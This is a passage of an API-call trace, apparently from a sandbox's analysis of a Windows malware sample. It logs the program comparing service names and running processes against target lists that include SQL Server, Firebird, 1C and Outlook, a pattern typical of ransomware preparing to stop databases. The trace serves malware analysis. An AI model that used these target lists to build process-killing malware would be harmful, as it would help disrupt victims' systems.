(lpString1="sqlwriter", lpString2="eventlog") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0220.567] lstrlenW (lpString="EventSystem") returned 11 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0220.567] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0220.567] lstrlenW (lpString="FontCache") returned 9 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0220.567] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0220.567] lstrlenW (lpString="gpsvc") returned 5 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0220.567] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0220.567] lstrlenW (lpString="iphlpsvc") returned 8 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0220.567] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0220.568] lstrlenW (lpString="LanmanServer") returned 12 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0220.568] lstrlenW (lpString="LanmanWorkstation") returned 17 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0220.568] lstrlenW (lpString="lmhosts") returned 7 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0220.568] lstrlenW (lpString="MMCSS") returned 5 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0220.568] lstrlenW (lpString="MpsSvc") returned 6 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0220.568] lstrlenW (lpString="Netman") returned 6 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0220.568] lstrlenW (lpString="netprofm") returned 8 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0220.568] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0220.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0220.568] lstrlenW (lpString="NlaSvc") returned 6 [0220.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0220.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0220.568] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0220.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0220.569] lstrlenW (lpString="nsi") returned 3 [0220.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0220.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0220.569] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0220.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0220.569] lstrlenW (lpString="PcaSvc") returned 6 [0220.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0220.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0220.569] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0220.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0220.569] lstrlenW (lpString="PlugPlay") returned 8 [0220.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0220.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0220.569] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0220.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0220.569] lstrlenW (lpString="Power") returned 5 [0220.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0220.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0220.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0220.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0220.569] lstrlenW (lpString="ProfSvc") returned 7 [0220.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0220.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0220.569] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0220.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0220.569] lstrlenW (lpString="RpcEptMapper") returned 12 [0220.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.569] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0220.569] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0220.570] lstrlenW (lpString="RpcSs") returned 5 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0220.570] lstrlenW (lpString="SamSs") returned 5 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0220.570] lstrlenW (lpString="Schedule") returned 8 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0220.570] lstrlenW (lpString="SENS") returned 4 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0220.570] lstrlenW (lpString="ShellHWDetection") returned 16 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0220.570] lstrlenW (lpString="Spooler") returned 7 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0220.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0220.570] lstrlenW (lpString="sppsvc") returned 6 [0220.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0220.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0220.570] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0220.570] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0220.571] lstrlenW (lpString="swprv") returned 5 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0220.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0220.571] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0220.571] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0220.571] lstrlenW (lpString="SysMain") returned 7 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0220.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0220.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0220.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0220.571] lstrlenW (lpString="Themes") returned 6 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0220.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0220.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0220.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0220.571] lstrlenW (lpString="TrkWks") returned 6 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0220.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0220.571] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0220.571] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0220.571] lstrlenW (lpString="UxSms") returned 5 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0220.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0220.571] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0220.571] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0220.571] lstrlenW (lpString="VSS") returned 3 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0220.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0220.571] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0220.571] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0220.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0220.571] lstrlenW (lpString="WdiServiceHost") returned 14 [0220.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0220.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0220.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0220.572] lstrlenW (lpString="WdiSystemHost") returned 13 [0220.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0220.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0220.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0220.572] lstrlenW (lpString="WinDefend") returned 9 [0220.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0220.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0220.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0220.572] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0220.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0220.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0220.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0220.572] lstrlenW (lpString="Winmgmt") returned 7 [0220.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0220.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0220.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0220.572] lstrlenW (lpString="wscsvc") returned 6 [0220.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0220.572] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0220.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0220.572] lstrlenW (lpString="wuauserv") returned 8 [0220.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0220.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0220.572] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0220.573] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0220.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0220.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x22c [0220.576] Process32FirstW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.576] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.598] lstrlenW (lpString="System") returned 6 [0220.598] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0220.598] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0220.598] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0220.598] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0220.598] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.599] lstrlenW (lpString="smss.exe") returned 8 [0220.599] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.600] lstrlenW (lpString="csrss.exe") returned 9 [0220.600] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.601] lstrlenW (lpString="wininit.exe") returned 11 [0220.601] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.601] lstrlenW (lpString="csrss.exe") returned 9 [0220.601] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.602] lstrlenW (lpString="winlogon.exe") returned 12 [0220.602] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.613] lstrlenW (lpString="services.exe") returned 12 [0220.614] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.614] lstrlenW (lpString="lsass.exe") returned 9 [0220.614] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0220.615] lstrlenW (lpString="lsm.exe") returned 7 [0220.615] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.617] lstrlenW (lpString="svchost.exe") returned 11 [0220.617] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.617] lstrlenW (lpString="svchost.exe") returned 11 [0220.617] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.618] lstrlenW (lpString="svchost.exe") returned 11 [0220.618] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.619] lstrlenW (lpString="svchost.exe") returned 11 [0220.619] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.619] lstrlenW (lpString="svchost.exe") returned 11 [0220.619] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.636] lstrlenW (lpString="audiodg.exe") returned 11 [0220.636] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.637] lstrlenW (lpString="svchost.exe") returned 11 [0220.637] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.637] lstrlenW (lpString="svchost.exe") returned 11 [0220.637] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.638] lstrlenW (lpString="dwm.exe") returned 7 [0220.638] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.639] lstrlenW (lpString="explorer.exe") returned 12 [0220.639] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.639] lstrlenW (lpString="spoolsv.exe") returned 11 [0220.639] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.640] lstrlenW (lpString="taskhost.exe") returned 12 [0220.640] Process32NextW (in: 